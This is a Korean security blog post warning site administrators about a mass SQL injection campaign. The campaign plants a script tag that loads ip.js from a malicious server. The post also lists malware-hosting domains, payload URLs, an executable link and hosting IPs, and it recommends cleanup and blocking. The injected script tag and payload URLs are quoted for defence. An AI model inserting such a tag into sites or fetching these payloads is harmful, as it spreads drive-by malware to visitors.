대량 SQL 삽입 공격 패턴 바뀌어

# 주의사항 : 아래의 악성코드서버나 피해 사이트에 접속하면 악성코드에 감염되므로, 보안전문가가 아닌 분들은 절대 접속하지 마시기 바랍니다.

중국애들이 악성코드 호스팅 서버와 자바스크립트의 이름을 다시 바꾸었습니다.

<script src=hxxp://bbs.jueduizuan.com/ip.js> 로 바꾸었군요.

구글에서 뒤져보면 전세계적으로 1,610 개 정도가 검색됩니다.

그 중에는 한국 사이트도 3개 있군요.

위의 사이트 관리자 분들은 DB 내에 삽입된 <script src=hxxp://bbs.jueduizuan.com/ip.js></script> 를 삭제하시고, SQL injection 취약점에 재차 당하지 않도록 웹 사이트 소스를 수정하시는게 좋겠습니다.

bbs.jueduizuan.com/ip.js 는 index.htm 을 재호출하는데, index.htm 이 아주 악성코드 밭이군요.
hxxp://bbs.jueduizuan.com 서버에 심어둔 exploit 만 아니라 hxxp://js.users.51.la/, hxxp://www.51.la, hxxp://img.users.51.la 까지 차례로 호출하면서 악성코드 다운로드를 시도합니다.

KISA 와 ISP 가 공조하여 bbs.jueduizuan.com, *.51.la, winzipices.cn, bluell.cn 도메인에 대해 차단하는 조치가 필요할 듯 합니다. 아직 초기 단계이고 국내 사이트의 피해가 적으므로 초기 진화가 가능할 듯...

참고 :
winzipices.cn/1.js, winzipices.cn/2.js, winzipices.cn/3.js, winzipices.cn/4.js, winzipices.cn/5.js 에도 주의
특히 hxxp://www.bluell.cn/ri.exe 에 주의


# 주의사항 : 위의 악성코드서버나 피해 사이트에 접속하면 악성코드에 감염되므로, 보안전문가가 아닌 분들은 절대 접속하지 마시기 바랍니다.

---- 추가 ----
구글링해보니 bluell.cn 에서 호스팅되는 악성코드 종류가 정말 다양하군요..
또다른 대량 악성코드 호스팅 서버 : hxxp://a.tnbdj.cn/cc/p60.htm <-- 얘는 /cc/ 아래에 pxx.htm, pxxx.htm 형태로 다양한 악성코드를 서비스하고 있다.

winzipices.cn   [60.191.239.229] (JINHUA TELECOM, Jinhua, CN)
www.bluell.cn   [60.191.239.219] (JINHUA TELECOM, Jinhua, CN)
bbs.jueduizuan.com [60.191.239.219] (JINHUA TELECOM, Jinhua, CN)
a.tnbdj.cn      [60.190.118.246] (WENZHOU TELECOM, Wenzhou, CN)
51la.ajiang.net [222.88.95.2] (CHINANET HENAN Province, Henan, CN)

중국 동부와 남부에서 호스팅되고 있는 것으로 보인다.

이글루스 가든 - professional secur...